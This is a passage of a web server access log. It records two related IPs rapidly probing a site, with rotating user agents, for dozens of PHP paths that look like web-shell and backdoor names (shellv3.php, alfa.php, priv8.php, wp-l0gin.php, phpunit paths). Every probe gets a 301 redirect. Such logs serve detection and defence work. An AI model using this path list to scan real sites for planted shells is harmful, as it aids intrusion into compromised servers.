"-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:13 -0400] "GET /images/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:21:13 -0400] "GET /wp-content/uploads/wpr-addons/forms/b1ack.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:21:13 -0400] "GET /wp-admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:21:14 -0400] "GET /wp-content/uploads/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:21:14 -0400] "GET /system_log.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:14 -0400] "GET /wp-includes/images/smilies/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:21:14 -0400] "GET /wp-content/plugins/core-plugin/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:14 -0400] "GET /upload/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:14 -0400] "GET /shellv3.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:14 -0400] "GET /cgi-bin/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:14 -0400] "GET /goods.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:14 -0400] "GET /max.phhttp:/sushiavenue.fr/alfa-rex.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:14 -0400] "GET /.well-known/acme-challenge/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:21:15 -0400] "GET /wp-content/uploads/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:15 -0400] "GET /priv8.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:15 -0400] "GET /wp-includes/ID3/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:15 -0400] "GET /.well-known/acme-challenge/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:15 -0400] "GET /.well-known/webdb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.87 - - [23/Apr/2025:03:21:15 -0400] "GET /wp-admin/css/colors/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:15 -0400] "GET /wp-includes/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:15 -0400] "GET /wp-includes/css/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.87 - - [23/Apr/2025:03:21:15 -0400] "GET /delete3.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:21:15 -0400] "GET /network.php4 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:21:15 -0400] "GET /wp-includes/wp-widgets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.87 - - [23/Apr/2025:03:21:15 -0400] "GET /edit-tags.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:15 -0400] "GET /rt.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:21:15 -0400] "GET /wp-content/json.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:15 -0400] "GET /wp-admin/network/class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:15 -0400] "GET /wp-content/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:21:15 -0400] "GET /.well-known/pki-validation/sxx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:15 -0400] "GET /wp-content/plugins/wp-doftx/noimg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:21:15 -0400] "GET /wp-includes/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:21:15 -0400] "GET /atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:21:15 -0400] "GET /wp-content/uploads/json.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:21:15 -0400] "GET /.well-known/pki-validation/webdb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:21:15 -0400] "GET /wp-l0gin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.85 - - [23/Apr/2025:03:21:15 -0400] "GET /packed.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:15 -0400] "GET /wp-includes/product.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:15 -0400] "GET /wp-content/themes/bltm/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:15 -0400] "GET /wp-admin/maint/cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:15 -0400] "GET /wp-content/themes/freeyanz/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.87 - - [23/Apr/2025:03:21:16 -0400] "GET /delpaths.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.87 - - [23/Apr/2025:03:21:16 -0400] "GET /wp-content/plugins/clara/clara.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:16 -0400] "GET /wp-includes/network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:21:16 -0400] "GET /max.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:21:16 -0400] "GET /server.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:16 -0400] "GET /.well-known/acme-challenge/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.87 - - [23/Apr/2025:03:21:16 -0400] "GET /wp-content/themes/erapress/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:16 -0400] "GET /wp-admin/alfa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:17 -0400] "GET /wp-admin/maint/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:21:17 -0400] "GET /menu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:21:17 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/theme.phpcom.au/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:17 -0400] "GET /admin/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:17 -0400] "GET /wp-content/plugins/doyanz/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:17 -0400] "GET /mailer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.87 - - [23/Apr/2025:03:21:17 -0400] "GET /wp-admin/css/colors/coffee/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:17 -0400] "GET /wp-admin/includes/404.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:21:17 -0400] "GET /n.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:18 -0400] "GET /phpzipincs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:21:18 -0400] "GET /main.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:21:18 -0400] "GET /wp-content/themes/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:18 -0400] "GET /wp-content/themes/panama/json.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:18 -0400] "GET /.well-known/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:21:18 -0400] "GET /saka.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:21:18 -0400] "GET /wp-content/themes/tflow/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:18 -0400] "GET /wp-admin/css/colors/modern/git.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.87 - - [23/Apr/2025:03:21:18 -0400] "GET /wp-content/themes/moog/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:21:18 -0400] "GET /www.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:18 -0400] "GET /wp-admin/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:21:18 -0400] "GET /wp-content/uploads/2023/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:18 -0400] "GET /wp-admin/user/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:18 -0400] "GET /css/wp-casper.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:21:18 -0400] "GET /wp-includes/wp-includes/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:18 -0400] "GET /.well-known/pki-validation/.qiodetme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:21:18 -0400] "GET /wp-content/uploads/2023/11/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:18 -0400] "GET /wp-includes/images/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:21:18 -0400] "GET /makeasmtp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:21:18 -0400] "GET /marijuana.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:18 -0400] "GET /css/css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:21:18 -0400] "GET /wp-content/uploads/2023/12/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:18 -0400] "GET /cache.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.87 - - [23/Apr/2025:03:21:18 -0400] "GET /cgi-bin/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:18 -0400] "GET /hjk.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:18 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/theme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:21:18 -0400] "GET /.well-known/acme-challenge/edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.87 - - [23/Apr/2025:03:21:18 -0400] "GET /wp-includes/click.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.87 - - [23/Apr/2025:03:21:18 -0400] "GET /wp-content/themes/blogai/issue.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:18 -0400] "GET /assets/dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:19 -0400] "GET /wp-content/uploads/2023/user.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:21:19 -0400] "GET /wp-edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:19 -0400] "GET /wp-content/themes/agwin/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.87 - - [23/Apr/2025:03:21:19 -0400] "GET /wp-content/plugins/wp-doft/noimg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:21:19 -0400] "GET /wp-content/plugins/Core-EconX/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:19 -0400] "GET /wp-includes/IXR/class-IXR-http.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:21:19 -0400] "GET /wp-includes/block-supports/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:19 -0400] "GET /ac.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:19 -0400] "GET /.well-known/pki-validation/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:19 -0400] "GET /wp-content/themes/quext/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:19 -0400] "GET /ioxi001.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:19 -0400] "GET /wp-content/uploads/cache.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:21:19 -0400] "GET /wp-includes/certificates/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:19 -0400] "GET /users.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:19 -0400] "GET /wp-content/upgrade/ss.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.87 - - [23/Apr/2025:03:21:19 -0400] "GET /w.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:19 -0400] "GET /wp-content/plugins/app-calendar/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:19 -0400] "GET /media-admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:19 -0400] "GET /wp-admin/js/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:21:19 -0400] "GET /.well-known/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:19 -0400] "GET /inc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:21:19 -0400] "GET /wp-includes/SimplePie/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:21:19 -0400] "GET /wp-content/smm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:21:19 -0400] "GET /.well-known/pki-validation/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 